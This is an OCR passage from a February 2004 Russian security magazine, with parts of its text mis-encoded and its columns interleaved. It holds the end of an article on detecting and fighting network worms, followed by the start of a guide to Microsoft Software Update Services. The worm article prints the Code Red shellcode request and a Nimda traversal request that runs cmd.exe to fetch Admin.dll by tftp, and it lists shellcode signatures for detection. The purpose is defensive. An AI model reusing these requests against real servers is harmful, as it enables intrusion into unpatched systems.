åìîãî òðàôèêà ñêà÷êîîáðàçíî âîçðîñ â òûñÿ÷è ðàç, è áîëü-
были получены эти цифры? Программа-монитор, уста- øèíñòâî ñåòåâûõ ðåñóðñîâ îêàçàëîñü íåäîñòóïíî, ÷òî çàòîð-
новленная в локальной сети Лаборатории Беркли, пере- ìîçèëî ðàñïðîñòðàíåíèå ÷åðâÿ, íî áûëî óæå ïîçäíî, ò.ê.
ëüâèíàÿ ÷àñòü óÿçâèìûõ ñåðâåðîâ ê òîìó âðåìåíè îêàçàëàñü
хватывала все проходящие через нее IP-пакеты и анали- ïîðàæåíà. Èñïåùðåííûé õàðàêòåð ñïàäà êðèâîé îòðàæàåò ïå-
зировала их заголовки. Пакеты, адресованные несуще- ðèîäè÷åñêîå ïîëåãàíèå ðàçëè÷íûõ ñåãìåíòîâ ñåòè Èíòåðíåò,
çàãèáàþùèõñÿ îò ÷óäîâèùíîé íàãðóçêè, è èõ ìóæåñòâåííîå
ствующим узлам и направляющиеся на 80-й порт, были, âîññòàíîâëåíèå ñàìîîòâåðæåííûìè àäìèíèñòðàòîðàìè. Âû äó-
очевидно, отправлены зараженным узлом (Code Red рас- ìàåòå, îíè óñòàíàâëèâàëè çàïëàòêè? À âîò è íåò! ×åðåç
÷åòûðå ÷àñà, êîãäà âèðóñ îêîí÷èë ñâîå ðàñïðîñòðàíåíèå è
пространялся через уязвимость в MS IIS-сервере). Под- ïåðåøåë ê ìàññèðîâàííîé àòàêå, íà êðèâîé íàáëþäàåòñÿ íå-
счет уникальных IP-адресов узлов-отправителей позво- áûâàëûé âñïëåñê, ïî ñðàâíåíèþ ñ êîòîðûì ïðåäûäóùèé ïèê íå
òÿíåò äàæå íà æàëêèé õîëìèê. 12 000 èñêàæàåìûõ âåá-ñòðà-
лил надежно установить нижнюю границу численности íèö çà ìèíóòó – ýòî ëè íå ðåçóëüòàò?!

№2(15), февраль 2004 83


безопасность
Как обнаружить червя лишь периодически контролировать время последнего
– Это знак червя? доступа к ним.
– Червь. И большой. Другой верный признак червя – ненормальная сетевая
Френк Херберт, «Дюна» активность. Подавляющее большинство известных на се-
Грамотно сконструированный и не слишком прожорливый годняшний день червей размножаются с неприлично вы-
программный код обнаружить не так-то просто! Есть ряд сокой скоростью, вызывающей характерный взлет исхо-
характерных признаков червя, но все они ненадежны, и дящего трафика. Также могут появиться новые порты,
гарантированный ответ дает лишь дизассемблирование. которые вы не открывали и которые непонятно кто про-
Но что именно нужно дизассемблировать? В случае с фай- слушивает. Впрочем, прослушивать порт можно и без его
ловыми вирусами все более или менее ясно. Подсовыва- открытия – достаточно лишь внедриться в низкоуровне-
ем системе специальным образом подготовленные «дро- вый сетевой сервис. Поэтому к показаниям анализаторов
зофилы» и смотрим, не окажется ли какая-то из них из- трафика следует относиться со здоровой долей скепти-
менена. Хороший результат дает и проверка целостности цизма, если, конечно, они не запущены на отдельной ма-
системных файлов по заранее сформированному этало- шине, которую червь гарантированно не сможет атаковать.
ну. В операционных системах семейства Windows на этот Третьим признаком служат пакеты с подозрительным
случай припасена утилита sfc.exe, хотя, конечно, специа- содержимым. Под «пакетом» здесь понимаются не только
лизированный дисковый ревизор справится с этой зада- TCP/IP-пакеты, но и сообщения электронной почты, содер-
чей намного лучше. жащие откровенно «левый» текст (впрочем, червь может
Черви же могут вообще не дотрагиваться до файло- маскироваться и под спам, а тщательно исследовать каж-
вой системы, оседая в оперативной памяти адресного дое спаммерское письмо не хватит ни нервов, ни време-
пространства уязвимого процесса. Распознать зловред- ни). Вот TCP-пакеты в этом смысле намного более пред-
ный код по внешнему виду нереально, а проанализиро- почтительнее, поскольку их анализ удается автоматизиро-
вать весь слепок памяти целиком – чрезвычайно трудо- вать. Что следует искать? Универсальных решений не су-
емкий и затруднительный процесс, тем более что явных ществует, но кое-какие наметки дать все-таки можно. В
команд передачи управления машинному коду червя мо- частности, применительно к веб-серверам и запросам типа
жет и не быть (подробнее см. раздел «Структурная ана- GET характерным признаком shell-кода являются:
томия червя»). а) имена командных интерпретаторов (cmd.exe, sh), систем-
Однако где вы видели вежливого и во всех отношени- ных библиотек типа admin.dll и подобных им файлов;
ях корректного червя? Ничуть не собираясь отрицать тот б) последовательность из трех и более машинных команд
факт, что среди червей попадаются и высокоинтеллекту- NOP, записываемая приблизительно так: %u9090;
альные разработки, созданные талантливыми и, бесспор- в) машинные команды CALL ESP, JMP ESP, INT 80h и дру-
но, профессиональными программистами, автор этой ста- гие подобные им (полный список занимает слишком
тьи вынужден признать, что все черви, выловленные в жи- много места и поэтому здесь не приводится);
вой природе, содержали те или иные конструктивные ог- г) бессмысленные последовательности вроде .\.\.\ или
рехи, демаскирующие присутствие чего-то постороннего. XXX, используемые вирусом для переполнения.
Верный признак червя – большое количество исходя-
щих TCP/IP-пакетов, расползающихся по всей сети и в Однако не пытайтесь напрямую дизассемблировать
большинстве своем адресованных несуществующим по- двоичный код, содержащийся в пакете, выглядевшем как
лучателям. Рассылка пакетов происходит либо постоян- пакет, предназначенный для срыва стека и подрыва авто-
но, либо совершается через более или менее регулярные ритета системы. Поскольку заранее неизвестно, на какой
и при том очень короткие промежутки времени, например, именно байт shell-кода передается управление, точку вхо-
через 3 – 5 сек. Причем соединение устанавливается без да определить не так-то просто, и вовсе не факт, что ею
использования доменного имени, непосредственно по IP- окажется первый байт пакта или двоичного кода. И не воз-
адресу (внимание: не все анализаторы трафика способ- лагайте на авторизированный поиск большие надежды –
ны распознать этот факт, поскольку на уровне функции он срабатывает далеко не всегда. Достаточно слегка за-
connect соединение всегда устанавливается именно по IP- шифровать shell-код, и все признаки червя немедленно
адресам, возвращаемым функцией gethostbyname по их исчезнут. Впрочем, поскольку размер переполняемого бу-
доменному имени). Правда, как уже отмечалось, червь фера зачастую очень и очень мал, втиснуть в отведенный
может сканировать локальные файлы жертвы на предмет объем головы вируса еще и шифровщик не так-то просто.
поиска подходящих доменных имен. Это может быть и Во всяком случае тройка крупнейших червей легко об-
адресная книга почтового клиента, и список доверенных наруживается автоматизированным анализом: и Code Red,
узлов, и просто архив HTML-документов (странички со и Nimda, и Slammer…
ссылками на другие сайты для HTTP-червей в высшей
степени актуальны). Ну, факт сканирования файлов рас- Ëèñòèíã 4. Ãîëîâà ÷åðâÿ Code Red, ïðèõîäÿùàÿ â ïåðâîì TCP-
ïàêåòå
познать нетрудно. Достаточно поместить наживку – фай-
лы, которые при нормальных обстоятельствах никогда и GET /default. ida?
XXXXXXXXXXXXXXXXXXXXXXXXXXXX
никем не открываются (в т. ч. и антивирусными демонами XXXXXXXXXXXXXXXXXXXXXXXXXXXX
установленными в системе), но с ненулевой вероятнос- XXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXX
тью будут замечены и проглочены червем. Достаточно XXXXXXXXXXXXXXXXXXXXXXXXXXXX

84
безопасность
XXXXXXXXXXXXXXXXXXXXXXXXXXXX куя компьютеры, не обновляемые в течение нескольких
XXXXXXXXXXXXXXXXXXXXXXXXXXXX месяцев или даже лет! В отношении серверов, обсужи-
XXXXXXXXXXXXXXXXXXXXXXXXXXXX
%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858 ↵ ваемых лицами, претендующими на звание «админист-
%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00 ↵ ратора», это, бесспорно, справедливая расплата за не-
%u531b%u53ff%u0078%u0000%u00= a HTTP 1.0
Content- type: text/ xml, брежность и бездумность. Но с домашними компьюте-
Content- length: 3379 рами не все так просто. У среднестатистического пользо-
Ëèñòèíã 5. Ãîëîâà ÷åðâÿ Nimda вателя ПК нет ни знаний, ни навыков, ни времени, ни
GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/
денег на регулярное выкачивание из сети сотен мега-
c+tftp%20-i%20XXX.XXX.XXX.XXX%20GET%20Admin.dll%20c:\Admin.dll байт Service Pack и зачастую устанавливающимся толь-
ко после серии магических заклинаний и танцев с буб-
Если червь содержит в себе незашифрованные тек- ном. Неквалифицированные пользователи в своей мас-
стовые строки (а многие из червей устроены именно так!), се никогда не устанавливали обновления и никогда не
то злобный характер его натуры распознается уже при будут устанавливать.
беглом просмотре HEX-кода исследуемого файла: Важно понять, что антивирусы вообще не могут спра-
виться с червями. В принципе. Потому что, исцеляя ма-
шину, они не устраняют брешь в системе безопасности, и
вирус приползает вновь и вновь. Не стоит возлагать осо-
бых надежд и на брандмауэры. Да, они могут оперативно
закрыть уязвимый порт или отфильтровывать сетевые
Ëèñòèíã 6. Ôðàãìåíò âèðóñà MWORM пакеты с сигнатурой вируса внутри. При условии, что ви-
Некоторые черви в целях уменьшения своих размеров рус атакует порт той службы, которая не очень-то и нуж-
и не в последнюю очередь маскировки, сжимаются тем на, брандмауэр действительно действует безотказно
или иным упаковщиком исполняемых программ, и перед (если, конечно, не может быть атакован сам). Хуже, если
анализом их необходимо распаковать. червь распространяется через такой широко распростра-
ненный сервис, как, например, WEB. Закрывать его нельзя
и приходится прибегать к анализу TCP/IP-трафика на пред-
мет наличия в нем следов того или иного червя, то есть
идти по пути выявления вполне конкретных представите-
лей кибернетической фауны.
Хотя отдельные фирмы и предлагают высокопроизво-
Ëèñòèíã 7. Ôðàãìåíò âèðóñà Love San ïîñëå ðàñïàêîâêè дительные аппаратные сканеры, построенные на програм-
Ищите в дампе подозрительные сообщения, команды мируемых логических устройствах, сокращенно именуемых
различных прикладных протоколов (GET, HELO и т. д.), PLD – от Programmable Logic Devices (www.arl.wustl.edu/
имена системных библиотек, файлов-интерпретаторов, ~lockwood/publications/MAPLD_2003_e10_lockwood_p.pdf),
команды операционной системы, символы конвейера, в целом ситуация остается довольно удручающей, при-
доменные имена сайтов, обращение к которым вы не пла- чем ни один из представленных на рынке сканеров не спо-
нировали и в чьих услугах судя по всему не нуждаетесь, собен распознавать полиморфных червей, т.к. для осуще-
IP-адреса, ветви реестра, ответственные за автоматичес- ствления этой операции в реальном времени потребует-
кий запуск программ и т. д. ся весьма нехилые аппаратные мощности, и стоимость по-
При поиске головы червя используйте тот факт, что лучившегося агрегата рискует оказаться сопоставимой с
shell-код эксплоита, как правило, размещается в секции убытками, наносимыми самими червями (а в том, что та-
данных и содержит легко узнаваемый машинный код. В кие черви когда-нибудь да появятся, сомневаться не при-
частности, команда CDh 80h (INT 80h), ответственная за ходится). Впрочем, программные сканеры сокращают про-
прямой вызов системных функций операционных систем пускную способность системы еще больше…
семейства Linux, встречается практически во всех червях, Жестокая, но зато кардинальная мера – заблагов-
обитающих на этой ОС. ременно создать слепок операционной системы вмес-
Вообще говоря, проанализировав десяток различных те со всеми установленными приложениями и в ответ-
червей, вы настолько проникнетесь концепциями их устрой- ственных случаях автоматически восстанавливать один
ства, что без труда распознаете знакомые конструкции и в раз в сутки или, по крайней мере, один раз в месяц. В
других организмах. А заочно червей все равно не изучить. частности, в операционных системах семейства NT это
можно сделать с помощью штатной программы backup
Как побороть червя и встроенного планировщика. Правда, если червь по-
– Как же тогда справиться с червями? ражает пользовательские файлы (например, файлы до-
– Мне неизвестно оружие, кроме атомного, взрывчатой силы кументов, письма электронной почты, скачанные веб-
которого было бы достаточно для уничтожения червя целиком. странички и т. д.), это ничем не поможет. Теоретически
Френк Херберт, «Дюна» факт искажения пользовательских файлов могут выя-
Гарантированно защититься от червей нельзя. С другой вить ревизоры и системы контроля версий, практичес-
стороны, черви, вызвавшие крупные эпидемии, все до ки же они с трудом отличают изменения, вызванные
единого появлялись задолго после выхода заплаток, ата- вирусом, от изменений сделанных самых пользовате-

№2(15), февраль 2004 85


безопасность
лем. Но не будем забывать о возможности подложить
вирусу дрозофилу, целостность которой мы и будем
время от времени контролировать.

Заключение
На самом деле, это еще не конец статьи, и в следующем
номере мы подробно рассмотрим механизм переполне-
ния буфера, технику выявления уязвимых программ и
некоторые способы защиты.

1
По отношению к Windows NT это не так, и всякий код,
который только можно прочитать, по умолчанию можно и
исполнить. Ðèñóíîê 4. Òàê ìîæåò âûãëÿäåòü àïïàðàòíûé àíàëèçàòîð òðàôèêà

Конец затишья перед бурей?


Информационные бюллетени, выходящие в последнее новизной не отличался и как его коллеги распространялся
время, все больше и больше напоминают боевые сводки через почтовые вложения, в которых на этот раз содержал-
с полей сражения. Только за первые три года нового ты- ся Visual Basic Script. Три миллиона зараженных машин –
сячелетия произошло более десяти разрушительных ви- рекорд, который не смог побить даже сам Love San, – лиш-
русных атак, в общей сложности поразивших несколько ний раз свидетельствует о том, что рядовой американский
миллионов компьютеров. Более точную цифру привести мужик не крестится даже после того, как гром трижды вда-
затруднительно, поскольку всякое информационное аген- рит и охрипший от свиста рак с горы гикнется.
тство склонно оценивать размах эпидемии по-своему, и Более или менее квалифицированных пользователей
различия в один-два порядка – вполне распространенное (и уж тем более профессионалов!) существование почто-
явление. Но, как бы там ни было, затишье, длившееся еще вых червей совершенно не волновало и они полагали, что
со времен Морриса, закончилось, и вирусописатели, слов- находятся в абсолютной безопасности. Переломным мо-
но проснувшиеся после долгой спячки, теперь перешли в ментом стало появление Kilez, использующего для свое-
наступление. Давайте вспомним, как все это начиналось. го распространения ошибку реализации плавающих фрей-
Первой ласточкой, стремительно вылетевшей из гнез- мов в Internet Explorer. Заражение происходило в момент
да, стала Melissa, представляющая собой обычный мак- просмотра инфицированного письма и сетевое сообще-
ровирус, распространяющийся через электронную почту. ство немедленно забило тревогу.
Способностью к самостоятельному размножению она не Однако за год до этого было отмечено появление пер-
обладала и сетевым червем в строгом смысле этого сло- вого червя, самостоятельно путешествующего по Сети и
ва очевидно не являлась. Для поддержания жизнедеятель- проникающего на заражаемые сервера через дыру в
ности вируса требовалось наличие большого количества Microsoft Internet Information Server и Sun Solaris Admin Suite.
неквалифицированных пользователей, которые: а) име- По некоторым данным, червю удалось поразить до восьми
ют установленный MS Word; б) игнорируют предупрежде- тысяч машин (на две тысячи больше, чем Червь Морриса).
ния системы о наличии макросов в документе или же об- Для современных масштабов Сети это пустяк, не стоящий
работка макросов по умолчанию разрешена; в) пользуют- даже упоминания. Короче говоря, вирус остался незаме-
ся адресной книгой почтового клиента Outlook Express; ченным, а программное обеспечение – не обновленным.
г) все приходящие вложения открывают не глядя. Расплата за халатное отношение к безопасности не зас-
И эти пользователи нашлись! По различным оценкам тавила себя ждать и буквально через пару месяцев появил-
Melissа удалось заразить от нескольких сотен тысяч до полу- ся новый вирус, носящий название Code Red, который со сво-
тора миллионов машин, затронув все развитые страны мира. ей более поздней модификацией Code Red II уложил более
Величайшая ошибка информационных агентств и ан- миллиона узлов за короткое время. Джинн был выпущен из
тивирусных компаний состоит в том, что они в погоне за бутылки и тысячи хакеров, вдохновленные успехом своих
сенсацией сделали из Melissа событие номер один, чем раз- коллег, оторвали мыши хвост и засели за клавиатуру.
задорили огромное количество программистов всех мас- За два последующих года были найдены критические
тей, вручив им образец для подражания. Как это обычно и уязвимости в Apache- и SQL-серверах и выращены спе-
случается, на первых порах подражатели дальше тупого циальные породы червей для их освоения. Результат, как
копирования не шли. Сеть наводнили полчища вирусов-вло- водится, превзошел все ожидания. Сеть легла, и некото-
жений, скрывающих свое тело под маской тех или иных рые даже стали поговаривать о скором конце Интернета
форматов. Верхом наглости стало появление вирусов, рас- и необходимости полной реструктуризации Сети (хотя все-
пространяющихся через исполняемые файлы. И ведь на- го-то и требовалось – уволить администраторов, не уста-
ходились такие пользователи, что их запускали… Разно- новивших вовремя заплатки).
образные методы маскировки (вроде внедрения в испол- Вершиной всему стала грандиозная дыра, найденная в
няемый файл графической пиктограммы) появились значи- системе управления DCOM и распространяющаяся на весь
тельно позже. Нашумевший Love Letter, прославившийся модельный ряд NT-подобных систем (в первую очередь это
своим романтическим признанием в любви, технической сама NT, а также W2K, XP и даже Windows 2003). Тот факт,

86
безопасность
Òàáëèöà 1. Top10: ïàðàä ñåòåâûõ âèðóñîâ – îò ×åðâÿ Ìîððèñà äî íàøèõ äíåé (óêàçàííîå êîëè÷åñòâî çàðàæåííûõ ìàøèí ñîáðàíî èç
ðàçëè÷íûõ èñòî÷íèêîâ è íå ñëèøêîì-òî äîñòîâåðíî, ïîýòîìó íå âîñïðèíèìàéòå åãî êàê èñòèíó â ïåðâîé èíñòàíöèè)

что данная уязвимость затрагивает не только серверы, но и bobulator, доступной по адресу http://grc.com/freepopular.htm,
рабочие станции (включая домашние компьютеры) обеспе- она же проверит вашу машину на уязвимость и даст несколь-
чил червю Love San плодотворное поле для существования, ко полезных рекомендаций по защите системы).
поскольку подавляющее большинство домашних компьюте- Что ждет нас завтра – неизвестно. В любой момент
ров и рабочих станций управляется неквалифицированным может открыться новая критическая уязвимость, поража-
персоналом, не собирающимся в ближайшее время ни об- ющая целое семейство операционных систем, и прежде
новлять операционную систему, ни устанавливать брандма- чем соответствующие заплатки будут установлены, дест-
уэр, ни накладывать заплатку на дыру в системе безопасно- руктивные компоненты червя (если таковые там будут)
сти, ни даже отключать этот никому не нужный DCOM (для могут нанести такой урон, который повергнет весь циви-
отключения DCOM можно воспользоваться утилитой DCOM- лизованный мир во мрак и хаос…

Что читать. Интересные ссылки


на сетевые ресурсы:
1. Attacks of the Worm Clones – Can we prevent them – мате- 7. The Linux Virus Writing And Detection HOWTO – любо-
риалы RSA Conference 2003 от Symantec, содержат мно- пытная вариация на тему «пишем вирус и антивирус
жество красочных иллюстраций, которые стоят того, для Linux»: http://www.rootshell.be/~doxical/download/
чтобы на них посмотреть http://www.rsaconference.com/ docs/linux/Writing_Virus_in_Linux.pdf;
rsa2003/europe/tracks/pdfs/hackers_t14_szor.pdf; 8. Are Computer Hacker Break-ins Ethical? – этично ли взла-
2. An Analysis of the Slapper Worm Exploit – подробный мывать компьютеры или нет, вот в чем вопрос! http://
анализ червя Slapper от Symantec, ориентированный www.cerias.purdue.edu/homes/spaf/tech-reps/994.pdf;
на профессионалов, настоятельно рекомендуется 9. Simulating and optimising worm propagation algorithms –
всем тем, кто знает Си и ассемблер: ht tp:// анализ скорости распространения червя в зависимос-
securityresponse.symantec.com/avcenter/reference/ ти от различных условий, рекомендуется для людей с
analysis.slapper.worm.pdf; математическим складом ума: http://downloads.security-
3. Inside the Slammer Worm – анализ червя Slammer, focus.com/library/WormPropagation.pdf;
ориентированный на эрудированных пользователей 10. Why Anti-Virus Software Cannot Stop the Spread of Email
ПК, тем не менее достаточно интересен и для адми- Worms – статья, разъясняющая причины неэффектив-
нистраторов: http://www.cs.ucsd.edu/~savage/papers/ ности антивирусного программного обеспечения в
IEEESP03.pdf; борьбе с почтовыми вирусами, настоятельно рекомен-
4. An Analysis of Microsoft RPC/DCOM Vulnerably – обстоя- дуется для ознакомления всем менеджерам по рекла-
тельный анализ нашумевшей дыры в NT/W2K/XP/2003, ме антивирусов: http://www.interhack.net/pubs/email-
рекомендуется: http://www.inetsecurity.info/downloads/ trojan/email-trojan.pdf;
papers/MSRPCDCOM.pdf; 11. Просто интересные документы по червям россыпью;
5. The Internet Worm Program: An Analysis – исторический http://www.dwheeler.com/secure-programs/secure-
документ, выпущенный по следам Червя Морриса, и programming-handouts.pdf;
содержащий подробный анализ его алгоритма: http:// http://www.cisco.com/warp/public/cc/so/neso/sqso/safr/
www.cerias.purdue.edu/homes/spaf/tech-reps/823.pdf; prodlit/sawrm_wp.pdf;
6. With Microscope and Tweezers: An Analysis of the Internet http://engr.smu.edu/~tchen/papers/
Virus of November 1988 – еще один исторический ана- Cisco%20IPJ_sep2003.pdf;
лиз архитектуры Червя Морриса: http://www.deter.com/ http://crypto.stanford.edu/cs155/lecture12.pdf;
unix/papers/internet_worm.pdf; http://www.peterszor.com/slapper.pdf.

№2(15), февраль 2004 87


безопасность

УЯЗВИМОСТИ В MS WINDOWS
В ПОИСКАХ РЕШЕНИЯ ПРОБЛЕМЫ
ПО SUSЕКАМ MICROSOFT

МИХАИЛ ПЛАТОВ

88
безопасность

Программные уязвимости предлагающая широкий спектр продуктов, направленных


на решение проблем своих клиентов. Остановимся бо-
и методы борьбы с ними лее подробно на одном из них – Microsoft Software Update
Как известно, программы пишутся людьми. Так было все- Services.
гда – и в незапамятные времена мейнфреймов, и на заре
появления первых ПК, да и сейчас ситуация принципиаль-
но не отличается от того, что было 10 лет назад. Конечно, Концепция SUS
появляются новые методологии, создаются новые языки Существует мнение, что на компьютеры, полностью изо-
программирования, но программы по-прежнему пишутся лированные от Интернета, обновления в принципе можно
людьми, и в ближайшее время, видимо, здесь ничего ре- и не устанавливать, решая проблемы несанкционирован-
волюционного не произойдет. ного доступа административно. Однако для компьютеров,
Ни для кого не секрет, что людям свойственно оши- хотя бы изредка появляющихся в Сети, регулярная уста-
баться. Ошибаются все – от школьника, делающего свои новка обновлений абсолютно необходима. Именно для
первые шаги в Паскале, до матерого программиста, пи- этого в состав еще Windows 2000 был включен компонент
шущего модули ядра ОС. Но если ошибки школьника, кро- «Автоматическое обновление». При подключении компь-
ме его учителя и самого школьника, мало кого волнуют, ютера к Сети этот компонент автоматически связывается
то проблемы в часто используемых сервисах сетевых ОС с узлом Windows Update, определяет, какие критические
волнуют значительно большее число людей. У многих в обновления системы доступны для установки и скачива-
памяти еще свежи воспоминания о W32.blaster, всемир- ет их. Этот подход вполне применим для домашнего ком-
ной лихорадке с червем Slammer, эксплуатирующим уяз- пьютера с 56К dialup-подключением. Однако для органи-
вимость в сервере MS SQL Server, проблемах с безопас- заций это практически не применимо, так как большин-
ностью веб-сервера MS IIS (червь Code Red), службах ftp ство организаций оплачивают трафик помегабайтно и рас-
и sendmail для Linux, и уязвимостях в MS Internet Explorer. ходы от многократно скачанного обновления (пропорцио-
Причем опыт показывает, что во многих случаях проблем, нально количеству компьютеров) никак не обрадуют на-
вызванных этими уязвимостями, можно было полностью чальство.
избежать. Так, исправления для RPC/DCOM были опуб- Здесь нам на помощь приходит SUS. Скачивая обнов-
ликованы на Windows Update за несколько недель до на- ление один раз, он выступает в качестве корпоративного
чала эпидемии, исправление, закрывающее уязвимость сервера Windows Update, тем самым минимизируя вне-
в MS SQL Server было доступно для скачивания в течение шний оплачиваемый трафик. Кроме того, SUS является
нескольких месяцев, не говоря уже о регулярно появляю- масштабируемым решением, то есть существует возмож-
щихся «заплатках» для Internet Explorer и Outlook Express. ность построить иерархию SUS-серверов для распреде-
Обновления для популярных Linux-программ тоже появ- ления нагрузки или для «адресной» установки обновле-
ляются достаточно быстро. ний. Так, при помощи иерархической схемы можно снача-
Итак, своевременная установка обновлений избавля- ла проверить работу обновлений на тестовой зоне, а за-
ет нас от множества проблем. И все было бы хорошо, если тем разрешить установку в рамках всего предприятия.
бы здесь не вмешивался человеческий фактор. Ведь для
того, чтобы установить обновление, нужно сначала узнать
о том, что оно появилось (здесь нам могут помочь всевоз-
можные bug-листы), найти его на сайте производителя,
скачать и установить на все машины, подверженные дан-
ной уязвимости. Не удивительно, что времени на выпол-
нение этих работ очень часто не хватает, что и подтверж-
дается историей вирусных атак последних лет. Еще одно
свидетельство тому – инициатива, озвученная генераль-
ным директором компании Microsoft Стивом Балмером
после летней эпидемии W32.blaster об обязательном ин-
тегрировании средств автоматического обновления в сле-
дующие версии операционной системы MS Windows. Од-
нако это будет в будущем, и пока оно не наступило, нам –
системным администраторам – придется самостоятельно
искать решения одной из самых важных административ-
ных проблем, а именно – как наиболее быстро и с мини- Системные требования
мальными усилиями устанавливать обновления для ис- Требования к необходимому оборудованию во многом оп-
пользуемых программ? ределяются тем, как именно планируется использовать
И хотя рынок программных продуктов, решающих дан- SUS. Если нужно обеспечить установку обновлений в не-
ную проблему, еще молод, уже сейчас на нем присут- большой локальной сети, то вполне можно ограничиться
ствует достаточное количество различных игроков, пред- минимальными требованиями, заявляемыми Microsoft –
лагающих свои решения проблемы оперативного обнов- 700 МГц процессором, 512 Мб ОЗУ и парой гигабайт сво-
ления. Не является исключением и компания Microsoft, бодного места для хранения скачанных обновлений. Од-

№2(15), февраль 2004 89


безопасность
нако если вы собираетесь делать многоуровневый корпо-
ративный узел обновлений, то требования могут быть го- Настраиваем SUS
раздо выше и должны определяться в зависимости от по- Итак, сервер SUS установлен, и теперь можно приступить к
ставленной задачи. его настройке. SUS представляет собой веб-приложение на
С точки зрения устанавливаемого программного обес- языке ASP для веб-сервера IIS, так что не удивительно, что
печения системные требования более универсальны. Не- его настройка полностью осуществляется через веб-интер-
зависимо от масштабов, для установки SUS необходимо фейс. Для того, чтобы открыть страницу настройки SUS, мож-
наличие веб-сервера MS IIS 5.0/6.0 и обозревателя MS но либо воспользоваться ярлыком «Microsoft Software Update
Internet Explorer версии не ниже 5.5. Services», расположенным в меню «Administrative tools», либо
просто написать в браузере: http://localhost/SUSAdmin. Пос-
ле этого мы увидим примерно следующее (см. рис.).
Устанавливаем SUS Все основные настройки определяются в пункте «Set
Здесь все не сложнее, чем с любым другим продуктом от Options».Здесь мы можем задать настройки http-прокси,
Microsoft, за исключением того, что при установке не нуж- выбрать языки ОС, для которых необходимо иметь обнов-
но заполнять различные регистрационные формы и ду- ления на нашем сервере, а также определить настройки
мать об активации – продукт бесплатен. Так что просто синхронизации нашего сервера.
качаем SUS с сайта Microsoft и запускаем инсталлятор. SUS – решение масштабируемое, поэтому в качестве
При установке SUS автоматически устанавливается источника обновлений может выступать либо корневой узел
утилита IIS Lockdown, которая, в принципе, может нару- Windows Update, либо другой SUS-сервер. Второй вариант
шить работу других приложений, выполняющихся на этом может использоваться в крупных организациях с большим
же веб-сервере. Хорошо было бы установить SUS на ма- числом обслуживаемых клиентов, в то время как нам впол-
шину, на которой хотя бы не выполняется других веб-при- не хватит и первого. Итак, сохраним наши настройки и пе-
ложений, а еще лучше – на специально выделенный ком- рейдем в раздел «Synchronize». В этом разделе находится
пьютер, особенно если количество обслуживаемых SUS- все, что связано с синхронизацией нашего сервера с уз-
клиентов велико. лом обновлений верхнего уровня: задание расписания, про-

90
безопасность
смотр журнала и «ручная» синхронизация. После нажатия кой ПО через групповые политики (технология IntelliMirror),
на «Synchronize now» SUS автоматически соединится с кор- либо установить пакет вручную, в случае если машины не
невым узлом и загрузит все необходимые обновления. Пер- объединены в домен.
вая синхронизация может продлиться долго, ведь, скорее
всего, серверу придется загрузить довольно большее ко-
личество обновлений с корневого сайта, однако все после-
Настраиваем клиента
дующие синхронизации будут проходить гораздо быстрее, Windows Update
загружая только свежие обновления. Все настройки клиента Windows Update хранятся в реест-
После загрузки обновлений необходимо определить, ре Windows и считываются им каждый раз при запуске
какие из них будут доступны для автоматической установ- службы «Automatic Updates». Для задания этих настроек
ки. Для этого перейдем в раздел «Approve Updates», от- можно либо вручную отредактировать реестр, либо задать
метим необходимые нам обновления и нажмем на кнопку необходимые значения при помощи групповых политик.
«Approve». На этом серверную часть в целом можно счи-
тать настроенной, и теперь самое время перейти к на- Реестр
стройке клиентской части. Минимально необходимые для работы SUS настройки хра-
нятся в следующих ключах реестра:
Устанавливаем клиентов HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\ ↵
Windows Update WindowsUpdate
WUServer=”http://<Èìÿ ñåðâåðà SUS>”
Для работы с SUS необходим клиент Windows Update вер- WUStatusServer=”http://<Èìÿ ñåðâåðà SUS>”
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\ ↵
сии не ниже 2.2, который уже присутствует в Windows 2000 WindowsUpdate\AU
SP3, Windows XP SP1 и Windows 2003. Однако, если у вас UseWUServer – èñïîëüçîâàòü (1) èëè íåò (0) SUS-ñåðâåð.
используется более старая версия Windows, не содержа-
щая в себе клиента нужной версии, то его нужно устано- Этих параметров уже достаточно для того, чтобы кли-
вить отдельно, используя установочный пакет wuau22.msi ент автоматического обновления начал работу с нашим
с сайта http://www.microsoft.com. Для этого можно либо вос- сервером, однако для более тонкой настройки нужно оп-
пользоваться возможностями централизованной установ- ределить еще несколько ключей:

№2(15), февраль 2004 91


безопасность
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\ ↵ них могут быть очень полезны при мониторинге работы
WindowsUpdate\AU системы (системный журнал, журнал на клиенте), а неко-
ScheduledInstallDay – ïîçâîëÿåò çàäàòü äåíü íåäåëè (0-7),
â êîòîðûé áóäåò îñóùåñòâëÿòüñÿ óñòàíîâêà. торые (журнал веб-сервера IIS) просто незаменимы при
ScheduledInstallTime – ÷àñ (1-24), â êîòîðûé áóäåò îñóùå- настройке прав доступа к SUS-серверу, а также при обыч-
ñòâëÿòüñÿ óñòàíîâêà.
AUOptions – âûáîð ðåæèìà óñòàíîâêè (2 – óâåäîìèòü î äîñòóï- ном мониторинге его работы. Итак, рассмотрим более
íûõ óâåäîìëåíèÿõ, 3 – ñêà÷àòü è óâåäîìèòü ïåðåä óñòàíîâêîé, подробно что, где и когда создается.
4 – ñêà÷àòü è óñòàíîâèòü ñîãëàñíî ðàñïèñàíèþ).
NoAutoUpdate – 1 – âêëþ÷èòü àâòîîáíîâëåíèå, 0 – âûêëþ÷èòü.
RescheduleWaitTime – ýòîò êëþ÷ èñïîëüçóåòñÿ â ñëó÷àå, åñëè На стороне клиента
êëèåíò íå ñìîã óñòàíîâèòü îáíîâëåíèå â çàäàííîå âðåìÿ. Çàäàåò
âðåìÿ â ìèíóòàõ (1-60), â òå÷åíèå êîòîðîãî áóäåò ïðåäïðèíÿ- Каждый раз при обновлении системы клиент Windows
òî ñëåäóþùåå îáðàùåíèå ê ñåðâåðó. Update добавляет в файл %windir%\Windows Update.log
NoAutoRebootWithLoggedOnUsers – 1 – ïîëüçîâàòåëü ìîæåò îò-
ìåíèòü ïåðåçàãðóçêó, âûçâàííóþ îáíîâëåíèåì. записи следующего вида:

Для редактирования реестра на удаленных машинах 2003-12-28 14:17:07 11:17:07 Success IUENGINE ↵
Determining machine configuration
